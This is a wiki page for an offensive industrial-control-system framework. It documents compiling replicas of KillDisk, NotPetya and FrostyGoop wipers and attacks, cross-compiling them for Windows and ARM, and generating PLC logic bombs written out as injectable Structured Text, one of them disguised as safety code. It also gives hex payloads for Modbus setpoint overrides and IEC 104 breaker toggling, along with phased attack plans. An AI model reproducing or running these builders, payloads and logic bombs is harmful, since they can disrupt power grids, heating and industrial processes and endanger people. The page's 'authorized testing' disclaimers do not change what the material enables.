Skip to content

Navigation Menu

Sign in
Sign up

PolyExploit Runner ptBR

André Henrique edited this page Jun 30, 2026 · 4 revisions

PolyExploit Runner

IXF follows a Python-First policy: all core functionality runs with pip install industrialxpl-forge. External runtimes (C, C++, Go, Ruby, Java, Node.js, PowerShell, Perl) are optional accelerators — IXF always provides a Python fallback for every module that uses a native artifact.

The PolyExploitRunner class handles detection, compilation, and execution of non-Python exploit artifacts. It transparently selects the best available runtime and falls back to Python simulation when native runtimes are absent.

Runtime Tier Table

Tier Type Examples Required? Notes
0 Python standard library socket, struct, subprocess, ctypes Always available No install needed
1 pip packages (core) scapy, requests, paramiko, pyserial Yes (auto-installed by IXF) Listed in requirements.txt
2 pip packages (optional) pymodbus, asyncua, python-can, pysnmp Optional Install with pip install industrialxpl-forge[full]
3 External runtimes gcc, g++, go, node, java, ruby, pwsh, perl Optional Python fallback always available; native gives full TTP fidelity

Tier 3 runtimes provide:

  • Full malware TTP replication with authentic binary artifacts
  • Cross-compilation for Windows targets
  • Language-specific protocol implementations (e.g., Go goroutines for concurrent Modbus attacks)
  • Higher performance for multi-threaded exploit scenarios

All 8 Supported Runtimes

Runtime 1: GCC (C)

Detection:

gcc --version
# gcc (Ubuntu 13.2.0-4ubuntu3) 13.2.0

Install guide:

# Ubuntu/Debian
sudo apt-get install gcc build-essential
# macOS
xcode-select --install # or: brew install gcc
# Windows (MinGW)
winget install MSYS2.MSYS2
# then in MSYS2: pacman -S mingw-w64-x86_64-gcc

Use in IXF:

  • KillDisk MBR wiper (killdisk.c)
  • Modbus TCP flood DoS (modbus_flood.c)
  • Custom payload compilation

Runtime 2: G++ (C++)

Detection:

g++ --version
# g++ (Ubuntu 13.2.0-4ubuntu3) 13.2.0

Install guide:

sudo apt-get install g++

Use in IXF:

  • NotPetya MBR wiper (notpetya.cpp)
  • Siemens S7 watchdog bypass (s7_watchdog.cpp)

Runtime 3: Go

Detection:

go version
# go version go1.22.3 linux/amd64

Install guide:

# Linux
wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# macOS
brew install go
# Windows
winget install GoLang.Go

Use in IXF:

  • FrostyGoop extended (concurrent goroutines for parallel Modbus attacks)
  • CosmicEnergy IEC 104 module

Runtime 4: Node.js

Detection:

node --version
# v22.3.0

Install guide:

# Ubuntu
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt-get install nodejs
# macOS
brew install node
# Windows
winget install OpenJS.NodeJS

Use in IXF:

  • JavaScript/TypeScript exploit modules
  • Node-RED ICS flow injection

Runtime 5: Java / javac

Detection:

java -version
# openjdk version "21.0.3" 2024年04月16日

Install guide:

# Ubuntu
sudo apt install openjdk-21-jdk
# Windows
winget install Eclipse.Temurin.21

Use in IXF:

  • Java deserialization exploit modules
  • JDBC-based historian attacks

Runtime 6: Ruby

Detection:

ruby --version
# ruby 3.3.1 (2024年04月23日 revision b3b4032f9c)

Install guide:

# Ubuntu
sudo apt-get install ruby ruby-dev
# macOS
brew install ruby
# Windows
winget install RubyInstallerTeam.Ruby

Use in IXF:

  • Ruby-based ICS protocol exploits
  • Legacy Metasploit-style module compatibility

Runtime 7: PowerShell (pwsh)

Detection:

pwsh --version
# PowerShell 7.4.2

Install guide:

# Ubuntu
sudo snap install powershell --classic
# macOS
brew install powershell
# Windows — already available; pwsh is cross-platform PS7
winget install Microsoft.PowerShell

Use in IXF:

  • Windows OT/EWS (Engineering Workstation) exploitation
  • Active Directory OT integration attacks
  • Remote PowerShell to Windows SCADA stations

Runtime 8: Perl

Detection:

perl --version
# This is perl 5, version 38, subversion 0 (v5.38.0)

Install guide:

# Ubuntu
sudo apt-get install perl
# macOS — pre-installed
# Windows
winget install StrawberryPerl.StrawberryPerl

Use in IXF:

  • Legacy ICS scripts
  • DNP3 and ICCP protocol scripts

Checking Available Runtimes

python tools/env_doctor.py
[IXF Environment Doctor v1.0.13]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[Tier 0 — Python stdlib]
 socket OK (always available)
 struct OK
 subprocess OK
 ctypes OK
[Tier 1 — Core pip packages]
 scapy OK 2.5.0
 requests OK 2.32.3
 paramiko OK 3.4.0
 pyserial OK 3.5
[Tier 2 — Optional pip packages]
 pymodbus OK 3.7.0
 asyncua OK 1.0.6
 python-can not installed pip install python-can
 pysnmp OK 6.1.2
[Tier 3 — External runtimes]
 gcc OK gcc 13.2.0 (4.3 MB)
 g++ OK g++ 13.2.0 (4.3 MB)
 go OK go1.22.3 (11 MB)
 node OK v22.3.0
 java/javac OK OpenJDK 21
 ruby not found OPTIONAL — apt install ruby
 pwsh not found OPTIONAL — snap install powershell
 perl OK v5.38.0
 mingw-gcc not found OPTIONAL — for Windows cross-compilation
[Tier 3 — Additional tools]
 nmap OK 7.95
 Nmap NSE IXF: 15/15 installed
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
All Tier 1 packages: OK | Tier 3: 5/8 runtimes available

Native Malware Builder

IXF ships with C/C++/Go source replicas of known ICS malware for educational TTP testing. The malware_builder.py tool compiles them.

malware_builder.py --help Full Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --help
IXF Malware Builder — Compile native ICS malware TTP replicas
Usage:
 python malware_builder.py [OPTIONS]
Options:
 --list List available build targets with info
 --target <name> Build a specific target
 --all Build all available targets
 --cross-windows Cross-compile for Windows (requires MinGW)
 --cross-arm Cross-compile for ARM Linux (requires arm-gcc)
 --clean Remove all build artifacts from .tmp/malware_builds/
 --output-dir <dir> Custom output directory (default: .tmp/malware_builds/)
 --simulate Print compilation commands without executing (dry-run)
 --help Show this help message
Available targets:
 killdisk [C] KillDisk MBR wiper
 notpetya [CPP] NotPetya wiper + fake ransom note
 frostygoop [GO] FrostyGoop Modbus heating attack
 modbus_flood [C] Modbus TCP flood DoS
 s7_watchdog [CPP] Siemens S7 watchdog bypass
Output directory: .tmp/malware_builds/

malware_builder.py --list Full Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --list
[IXF Malware Builder] Compiler Status
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 gcc : OK (gcc 13.2.0)
 g++ : OK (g++ 13.2.0)
 go : OK (go1.22.3)
 mingw-gcc : not found (for Windows cross-compilation)
 arm-gcc : not found (for ARM cross-compilation)
[IXF Malware Builder] Available Targets
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Target Lang Impact Description
 ─────────────────────────────────────────────────────────────────────────
 killdisk C CATASTROPHIC KillDisk MBR wiper — BlackEnergy3/Industroyer TTP
 Source: killdisk.c (412 lines)
 Attribution: Sandworm/Russia (2015-2016)
 Historical: 80K Ukrainian customers lost power
 notpetya CPP CATASTROPHIC NotPetya MBR overwrite + MBRS + fake ransom note
 Source: notpetya.cpp (687 lines)
 Attribution: Sandworm/Russia (2017)
 Historical: 10ドルB global damage
 frostygoop GO CRITICAL FrostyGoop Modbus heating attack (goroutines)
 Source: frostygoop.go (318 lines)
 Attribution: Sandworm/Russia (2024)
 Historical: 600 Lviv apartments lost heat
 modbus_flood C HIGH Modbus TCP flood DoS (multi-threaded pthreads)
 Source: modbus_flood.c (198 lines)
 Protocol: Modbus TCP port 502
 s7_watchdog CPP HIGH Siemens S7 watchdog bypass via keepalives
 Source: s7_watchdog.cpp (245 lines)
 Protocol: S7comm port 102
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 Output: .tmp/malware_builds/
 [!] For authorized security testing and education only.

KillDisk Build and Execution

--target killdisk — Full Compilation + Simulate Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk
[IXF Malware Builder] Building: killdisk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Source: industrialxpl/modules/cve/malware/_native/killdisk.c
[*] Compiler: gcc
[*] Command: gcc -O2 -Wall -o .tmp/malware_builds/killdisk killdisk.c -lpthread
[*] Compiling...
[+] killdisk compiled successfully
[+] Output: .tmp/malware_builds/killdisk (ELF 64-bit, 24.3 KB)
[i] Attribution: Sandworm (GRU Unit 74455) — BlackEnergy3/Industroyer 2015-2016
[i] MITRE: T0810 (Data Destruction), T0879 (Damage to Property), T0881 (Service Stop)
[i] [!] CATASTROPHIC impact — authorized environments only

KillDisk IXF module simulation:

ixf > use cve/malware/killdisk_ics_wiper
[*] Module loaded: KillDisk ICS Wiper (BlackEnergy3/Industroyer TTP)
[*] Impact: CATASTROPHIC
ixf (KillDisk ICS Wiper) > run
 [SIMULATE MODE — no packets sent]
 ─────────────────────────────────────────────────────────────────────
 [i] What would happen:
 KillDisk — BlackEnergy3/Industroyer MBR Wiper (Ukraine 2015-2016)
 Attribution: Sandworm (GRU Unit 74455) | Russia
 Phase 1 [Network Discovery]: Enumerate network shares (SMB \ADMIN$)
 Enumerate SCADA workstations via NetBIOS
 Phase 2 [Credential Harvest]: Extract cached Windows credentials
 (Mimikatz-style LSASS memory dump)
 Phase 3 [Lateral Deploy]: Copy killdisk binary to discovered systems
 via SMB ADMIN$ share (using harvested creds)
 Phase 4 [Execution]: Execute killdisk via PsExec or WMI on each target
 Phase 5 [MBR Overwrite]: Open PhysicalDrive0..PhysicalDrive9 with raw I/O
 Write 0xFFFFA random pattern to first 64KB of each disk
 Zero out Master Boot Record (sector 0, 512 bytes)
 Overwrite first 10 sectors of each partition
 Phase 6 [Forced Reboot]: Force system reboot (ExitWindowsEx + EWX_FORCE)
 System unable to boot — displays blank screen
 Phase 7 [Serial Kill]: Terminate all serial communication processes
 Stops GE CIMPLICITY, ABB Symphony, Siemens WinCC
 Phase 8 [HMI Deletion]: Delete SCADA project files
 *.cim, *.fdb, *.mdb, *.gdb — HMI/historian data
 [i] Payload (hex): FF FF A0 FF FF FF FF FF FF FF A0 FF FF FF [MBR overwrite pattern]
 [i] Historical impact:
 Ukraine 2015: 80,000 customers lost power for 6 hours (December 23)
 23 power distribution substations affected
 HMI systems required complete OS and application reinstallation
 [i] MITRE ATT&CK for ICS: T0810 (Data Destruction), T0879 (Damage to Property),
 T0813 (Denial of Control), T0881 (Service Stop), T0816 (Device Restart/Shutdown)
 [i] To run live: set simulate false + set destructive true
 [!] CATASTROPHIC impact — 10-second countdown + confirmation required for live run

NotPetya Build and Execution

--target notpetya — Full Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target notpetya
[IXF Malware Builder] Building: notpetya
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Source: industrialxpl/modules/cve/malware/_native/notpetya.cpp
[*] Compiler: g++
[*] Command: g++ -O2 -Wall -std=c++17 -o .tmp/malware_builds/notpetya notpetya.cpp -lpthread
[*] Compiling...
[+] notpetya compiled successfully
[+] Output: .tmp/malware_builds/notpetya (ELF 64-bit, 67.8 KB)
[i] Attribution: Sandworm (GRU) — Ukraine initial vector → global spread (2017)
[i] MITRE: T0810, T0879, T0881, T0816

NotPetya IXF module simulation:

ixf > use cve/malware/notpetya_wiper
[*] Module loaded: NotPetya MBR/MBRS Wiper (2017 global attack replica)
[*] Impact: CATASTROPHIC
ixf (NotPetya MBR/MBRS Wiper) > run
 [SIMULATE MODE — no packets sent]
 ─────────────────────────────────────────────────────────────────────
 [i] What would happen:
 NotPetya (June 2017) — Sandworm/Russia — ICS/Industrial Impact
 Phase 1 [Initial Exploit]: EternalBlue SMB exploit (MS17-010) for lateral movement
 Token impersonation via Mimikatz credential dump
 Phase 2 [MBRS Replacement]: Overwrite Master Boot Record with custom bootloader
 "NotPetya bootloader" shows fake chkdsk screen
 "Repairing file system on C:" (deceptive UI)
 Phase 3 [MFT Encryption]: Encrypt Master File Table (MFT) with custom cipher
 Uses Salsa20 algorithm with unique key per system
 No actual ransom decryption — key discarded immediately
 Phase 4 [Network Worm]: Spread via WMIC/PsExec + EternalBlue to all reachable hosts
 Phase 5 [Reboot + Ransom]: Force reboot after 10 minutes
 Display fake ransom screen (300ドル BTC — but no recovery)
 Phase 6 [ICS Impact]: Maersk: 45,000 PCs, 4,000 servers wiped
 Merck pharmaceutical: 870ドルM damage
 Ukrainian power/infrastructure primary target
 [i] MITRE: T0810 (Data Destruction), T0879, T0816, T0881
 [i] Historical impact: 10ドル billion global damage | Ukraine → Global spread

FrostyGoop (Go) — Build and Execution

--target frostygoop — Full Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target frostygoop
[IXF Malware Builder] Building: frostygoop (Go)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Source: industrialxpl/modules/cve/malware/_native/frostygoop.go
[*] Compiler: go
[*] Command: go build -o .tmp/malware_builds/frostygoop frostygoop.go
[*] Compiling...
[+] frostygoop compiled successfully
[+] Output: .tmp/malware_builds/frostygoop (ELF 64-bit, 4.1 MB, Go 1.22.3)
[i] Attribution: Sandworm (GRU) — Ukraine, January 2024 (Lviv district heating)
[i] MITRE: T0836, T0814, T0813, T0878
[i] This is the extended IXF version with goroutines — original was simpler Python

FrostyGoop IXF module simulate output:

ixf > use cve/malware/frostygoop_modbus_heating
[*] Module loaded: FrostyGoop Modbus Heating Attack (Go) — Extended
[*] Impact: CATASTROPHIC
ixf (FrostyGoop Modbus Heating Attack) > set target 192.168.1.100
[*] target => 192.168.1.100
ixf (FrostyGoop Modbus Heating Attack) > run
 [SIMULATE MODE — no packets sent]
 ─────────────────────────────────────────────────────────────────────
 [i] What would happen:
 FrostyGoop (BUSTLEBERM) — Sandworm/GRU (Russia) — Lviv Ukraine, January 2024
 Phase 1 [Target Discovery]: Scan 192.168.1.100 for Modbus TCP port 502
 Check for ENCO heating controller (Modbus Unit IDs 1-10)
 Phase 2 [Setpoint Override]: Write 0x0000 to holding registers [0..1]
 (temperature setpoint → minimum, ~0°C)
 FC16 Write Multiple Registers
 Overrides normal district heating setpoint
 Phase 3 [Goroutine Loop]: Spawn Go goroutine for continuous attack loop
 Every 30 seconds: re-write setpoint to 0x0000
 Prevents operator recovery (manual setpoint reset undone)
 Phase 4 [Alarm Suppression]: Monitor for alarm register changes, suppress via FC06
 Write ALARM_ENABLE := 0x0000 to suppress SCADA alerts
 Phase 5 [Persistence]: Loop runs until binary is killed or network is blocked
 [i] Payload (hex): 00 01 00 00 00 0B 01 10 00 00 00 02 04 00 00 00 00
 [i] Historical impact (Lviv, Ukraine, January 11, 2024):
 600 apartment buildings lost heating for 2 days (January 11-13)
 Sub-zero winter temperatures (avg -5°C that week)
 ~10,000 residents affected; hypothermia risk for vulnerable populations
 CERT-UA Alert #6444
 [i] MITRE: T0836 (Modify Parameter), T0814 (Denial of Control),
 T0813 (Denial of View), T0878 (Alarm Suppression)
 [i] IXF extended version uses goroutines for parallel attacks on multiple controllers

malware_builder.py --all Full Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --all
[IXF Malware Builder] Building ALL targets
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[1/5] killdisk [C]
 [*] gcc -O2 -Wall -o .tmp/malware_builds/killdisk killdisk.c -lpthread
 [+] killdisk → .tmp/malware_builds/killdisk (24.3 KB)
[2/5] notpetya [CPP]
 [*] g++ -O2 -Wall -std=c++17 -o .tmp/malware_builds/notpetya notpetya.cpp -lpthread
 [+] notpetya → .tmp/malware_builds/notpetya (67.8 KB)
[3/5] frostygoop [GO]
 [*] go build -o .tmp/malware_builds/frostygoop frostygoop.go
 [+] frostygoop → .tmp/malware_builds/frostygoop (4.1 MB)
[4/5] modbus_flood [C]
 [*] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood modbus_flood.c -lpthread
 [+] modbus_flood → .tmp/malware_builds/modbus_flood (18.6 KB)
[5/5] s7_watchdog [CPP]
 [*] g++ -O2 -Wall -std=c++17 -o .tmp/malware_builds/s7_watchdog s7_watchdog.cpp
 [+] s7_watchdog → .tmp/malware_builds/s7_watchdog (31.2 KB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Build summary:
 5/5 targets built successfully
 Total artifacts: 5 files, ~147 KB
 Output: .tmp/malware_builds/
 [!] Handle artifacts with care — authorized environments only

PLC Logic Bomb Generator

IXF includes a PLC logic bomb generator for testing detection of malicious PLC program modifications.

Type 1: Time-Based Logic Bomb

Activates on a specific date/time. Tests whether SIEM/historian detects abnormal PLC output at a scheduled time.

Simulate output:

ixf > use cve/malware/plc_logic_bomb_time
[*] Module loaded: PLC Logic Bomb — Time-Based Trigger
ixf (PLC Logic Bomb — Time-Based Trigger) > set target 192.168.1.100
ixf (PLC Logic Bomb — Time-Based Trigger) > set trigger_date 2026年07月04日
ixf (PLC Logic Bomb — Time-Based Trigger) > set trigger_time 08:00:00
ixf (PLC Logic Bomb — Time-Based Trigger) > run
 [SIMULATE MODE — no packets sent]
 [i] What would happen (IEC 61131-3 Structured Text injection):
 Would upload this ST block to PLC (appended to existing program):
 (* Logic Bomb — Time-Based [IXF TTP Replica] *)
 IF DT_TO_TOD(DT_OF_CURRENT_TASK()) >= TOD#08:00:00 THEN
 IF DT_TO_DATE(DT_OF_CURRENT_TASK()) = D#2026年07月04日 THEN
 EMERGENCY_STOP := TRUE; (* Stops all outputs *)
 ALARM_SUPPRESS := TRUE; (* Silences alarms *)
 COIL_ALL_OFF := TRUE; (* All coil outputs → 0 *)
 END_IF
 END_IF
 [i] MITRE: T0839 (Module Firmware), T0836 (Modify Parameter)
 [i] Impact: CRITICAL — timed process disruption, hard to trace without PLC audit logs
 [i] Detection: Compare PLC program hash before/after; monitor program download events

Type 2: Counter-Based Logic Bomb

Activates after N scan cycles. Evades time-based anomaly detection.

Simulate output:

ixf > use cve/malware/plc_logic_bomb_counter
ixf (PLC Logic Bomb — Counter-Based Trigger) > set trigger_count 1000000
ixf (PLC Logic Bomb — Counter-Based Trigger) > run
 [SIMULATE MODE — no packets sent]
 [i] ST injection:
 (* Counter Bomb — after 1,000,000 scan cycles (~10 days at 100ms scan) *)
 BOMB_COUNTER := BOMB_COUNTER + 1;
 IF BOMB_COUNTER >= 1000000 THEN
 PROCESS_INHIBIT := TRUE;
 PUMP_EMERGENCY_STOP := TRUE;
 END_IF
 [i] MITRE: T0839, T0836
 [i] Detection: Baseline PLC program hash; audit log all program downloads

Type 3: Physical Trigger Logic Bomb

Activates on a specific sensor value — e.g., when tank level exceeds 90%. Disguised as safety logic.

Simulate output:

ixf > use cve/malware/plc_logic_bomb_physical
ixf (PLC Logic Bomb — Physical Trigger) > set trigger_tag TANK_LEVEL
ixf (PLC Logic Bomb — Physical Trigger) > set trigger_value 90.0
ixf (PLC Logic Bomb — Physical Trigger) > run
 [SIMULATE MODE — no packets sent]
 [i] ST injection:
 (* Looks like safety code — actually a trigger *)
 IF TANK_LEVEL >= 90.0 THEN
 FILL_VALVE_OVERRIDE := TRUE; (* Keeps fill valve open — overflow *)
 LEVEL_ALARM := FALSE; (* Suppresses high-level alarm *)
 END_IF
 [i] MITRE: T0836, T0838 (Modify Alarm Settings), T0837 (Loss of Safety)

EKANS (SNAKE) Process Killer

EKANS/SNAKE ransomware targeted specific ICS processes. IXF includes a process killer replica.

--list Output

ixf > use cve/malware/ekans_process_killer
ixf (EKANS Process Killer) > run
 [SIMULATE MODE — no packets sent]
 [i] EKANS (SNAKE) Ransomware — ICS Process Killer Component (2020)
 [i] Attribution: Iran-nexus (likely MuddyWater / APT34) | Honda, Enel targets
 [i] EKANS targets these ICS processes for termination:
 ─────────────────────────────────────────────────────────────────
 Process Vendor Purpose
 FactoryTalkActivationSvr.exe Rockwell License server
 ArchestrASecurityBroker.exe AVEVA Security broker
 InTouchViewApp.exe AVEVA/Wonderware InTouch SCADA HMI
 CimplicityHmiService.exe GE HMI service
 GE_PROFICY_HISTORIAN.exe GE Historian
 Alarm_DB_Manager.exe Honeywell Alarm management
 DELTAVISRV.EXE Emerson DeltaV historian
 RSLinx.exe Rockwell CIP/ENIP gateway
 FTSecurity.exe Rockwell FactoryTalk Security
 HoneywellProcessHistorian.exe Honeywell Historian service
 WinCC.exe Siemens WinCC SCADA
 S7ProSim.exe Siemens S7 simulation
 OPCServer.exe Generic OPC server
 ─────────────────────────────────────────────────────────────────
 [i] EKANS terminates these BEFORE encrypting to prevent file locking
 [i] MITRE: T0881 (Service Stop), T0810 (Data Destruction)

EKANS Simulate Output

ixf (EKANS Process Killer) > set target 192.168.1.50
ixf (EKANS Process Killer) > run
 [SIMULATE MODE — no packets sent]
 [i] Would execute on 192.168.1.50 (Windows ICS workstation):
 Phase 1 [Check Processes]: enumerate running processes via WMI
 Phase 2 [Kill ICS Services]: TerminateProcess() on all 13 target processes
 Sends SIGTERM then SIGKILL
 Phase 3 [Ransomware]: After ICS processes killed, begin file encryption
 Target extensions: .cim, .gdb, .mdb, .fdb (SCADA data)
 [i] Honda impact (June 2020): Production halt at 11 factories globally
 [i] Enel impact (June 2020): Internal network disruption (not production)

CosmicEnergy IEC 104 Attack

CosmicEnergy (2023) targeted IEC 60870-5-104 RTUs for power grid switching.

ixf > use cve/malware/cosmicenergy_iec104
[*] Module loaded: CosmicEnergy IEC 60870-5-104 RTU Control
[*] Impact: CATASTROPHIC
ixf (CosmicEnergy IEC 60870-5-104 RTU Control) > set target 192.168.100.1
ixf (CosmicEnergy IEC 60870-5-104 RTU Control) > run
 [SIMULATE MODE — no packets sent]
 ─────────────────────────────────────────────────────────────────────
 [i] CosmicEnergy (2023) — Rostelecom-Solar / Russia — Power Grid TTP
 Phase 1 [IEC 104 Connect]: TCP to 192.168.100.1:2404
 STARTDT activation sequence
 Phase 2 [Interrogation]: General interrogation (Cause=6) — enumerate IOAs
 Phase 3 [ASDU Injection]: Send Direct Command (C_SC_NA_1, TypeID=45)
 IOA: 1001 | Select+Execute | CLOSE (breaker close)
 Then: Direct Command IOA: 1001 | TRIP (breaker open)
 Phase 4 [Rapid Toggle]: Rapidly toggle breaker state to cause voltage surge
 Phase 5 [Repeat]: Repeat for all discovered IOAs (all breakers)
 [i] Payload: 68 04 07 00 | 68 14 02 00 00 00 2D 01 06 00 01 00 00 10 00 00 03 00 00 00
 [i] MITRE: T0855 (Unauthorized Command Message), T0813 (Denial of Control),
 T0837 (Loss of Safety), T0879 (Damage to Property)
 [i] CosmicEnergy (2023): Discovered by Mandiant as pre-positioned attack tool
 Targets power distribution RTUs across Europe and Middle East
 Reference: https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware-russia

PolyExploitRunner Python API

All Methods with Complete Code Examples

from industrialxpl.core.poly.poly_runner import PolyExploitRunner
# Initialize the runner
runner = PolyExploitRunner()
# 1. Check available runtimes
runtimes = runner.check_runtimes()
print(runtimes)
# {
# "gcc": {"available": True, "version": "gcc 13.2.0", "path": "/usr/bin/gcc"},
# "g++": {"available": True, "version": "g++ 13.2.0"},
# "go": {"available": True, "version": "go1.22.3"},
# "node": {"available": True, "version": "v22.3.0"},
# "java": {"available": True, "version": "openjdk 21.0.3"},
# "ruby": {"available": False, "version": None},
# "pwsh": {"available": False, "version": None},
# "perl": {"available": True, "version": "v5.38.0"},
# }
# 2. Compile a native artifact
result = runner.compile(
 source="industrialxpl/modules/cve/malware/_native/killdisk.c",
 output=".tmp/malware_builds/killdisk",
 compiler="gcc",
 flags=["-O2", "-Wall", "-lpthread"],
)
print(f"Compiled: {result['success']} → {result['output_path']}")
# 3. Run a native binary with simulation check
output = runner.run_binary(
 binary=".tmp/malware_builds/killdisk",
 args=["--target", "192.168.1.100", "--simulate"],
 simulate=True, # Always check this before running
 timeout=30,
)
print(output.stdout)
# 4. Run a Go binary
go_result = runner.run_go(
 source="industrialxpl/modules/cve/malware/_native/frostygoop.go",
 args=["--target", "192.168.1.100", "--port", "502", "--simulate"],
 simulate=True,
 timeout=60,
)
print(go_result.stdout)
# 5. Get Python fallback for a module
fallback = runner.get_python_fallback("frostygoop")
# Returns Python equivalent of the Go module
fallback_output = fallback.run(target="192.168.1.100", simulate=True)
print(fallback_output)
# 6. Cross-compile for Windows
win_result = runner.compile(
 source="industrialxpl/modules/cve/malware/_native/killdisk.c",
 output=".tmp/malware_builds/killdisk.exe",
 compiler="x86_64-w64-mingw32-gcc",
 flags=["-O2", "-static"],
 target_os="windows",
)
print(f"Windows cross-compile: {win_result['success']}")
# 7. Auto-detect best runtime for a module
best_runtime = runner.detect_runtime("frostygoop_modbus_heating")
print(f"Best runtime: {best_runtime}") # "go" or "python_fallback"
# 8. Build and run in one call
combined = runner.build_and_run(
 target_name="frostygoop",
 run_args=["--target", "192.168.1.100", "--simulate"],
 simulate=True,
)
print(combined.output)
# 9. List all available native artifacts
artifacts = runner.list_artifacts()
for artifact in artifacts:
 print(f"{artifact['name']:20} [{artifact['language']}] {artifact['impact']}")
# 10. Clean build artifacts
runner.clean(output_dir=".tmp/malware_builds/")
print("Build artifacts cleaned.")

Cross-Compilation Guide

IXF can cross-compile native artifacts for different target platforms:

Cross-compile for Windows (from Linux, using MinGW)

# Install MinGW cross-compiler
sudo apt-get install mingw-w64
# Cross-compile killdisk for Windows x64
x86_64-w64-mingw32-gcc -O2 -Wall -static \
 -o .tmp/malware_builds/killdisk.exe \
 industrialxpl/modules/cve/malware/_native/killdisk.c
# Via malware_builder.py
python industrialxpl/modules/cve/malware/_native/malware_builder.py \
 --target killdisk \
 --cross-windows
# Output:
# [+] killdisk.exe → .tmp/malware_builds/killdisk.exe (Windows x64, 887 KB, static)

Cross-compile for ARM Linux (from x64)

# Install ARM cross-compiler
sudo apt-get install gcc-arm-linux-gnueabihf
# Cross-compile for ARM (Raspberry Pi, embedded Linux RTUs)
arm-linux-gnueabihf-gcc -O2 -Wall \
 -o .tmp/malware_builds/killdisk_arm \
 industrialxpl/modules/cve/malware/_native/killdisk.c
# Via malware_builder.py
python industrialxpl/modules/cve/malware/_native/malware_builder.py \
 --target killdisk \
 --cross-arm

Go cross-compilation (built-in, no extra tools)

# Linux → Windows
GOOS=windows GOARCH=amd64 go build \
 -o .tmp/malware_builds/frostygoop.exe \
 industrialxpl/modules/cve/malware/_native/frostygoop.go
# Linux → macOS (Apple Silicon)
GOOS=darwin GOARCH=arm64 go build \
 -o .tmp/malware_builds/frostygoop_darwin \
 industrialxpl/modules/cve/malware/_native/frostygoop.go
# Linux → ARM Linux (Raspberry Pi)
GOOS=linux GOARCH=arm GOARM=7 go build \
 -o .tmp/malware_builds/frostygoop_arm \
 industrialxpl/modules/cve/malware/_native/frostygoop.go

Python Fallback Policy

When a Tier 3 runtime is missing, PolyExploitRunner automatically selects the Python fallback. The fallback provides:

  • Full simulate mode output (identical to native)
  • check() implementation (protocol fingerprinting)
  • Partial run() — may lack goroutine-level parallelism or low-level OS access

How fallback is selected:

Module requires: Go (frostygoop)
 → Is 'go' available? YES → compile and run frostygoop.go
 → Is 'go' available? NO → use cve/malware/frostygoop_modbus_heating Python module
 (identical logic, pymodbus instead of net.Conn)

Warning shown to user:

[!] Module requires 'go' runtime. Python fallback active.
 Fallback provides: simulate output, check(), basic run() via pymodbus
 For full TTP fidelity (goroutines, raw sockets): install Go
 Install: https://go.dev/dl/
[*] Module loaded: FrostyGoop Modbus Heating Attack (Python fallback)

Previous: CLI Non-Interactive Mode | Next: Assessment & Compliance

Clone this wiki locally

AltStyle によって変換されたページ (->オリジナル) /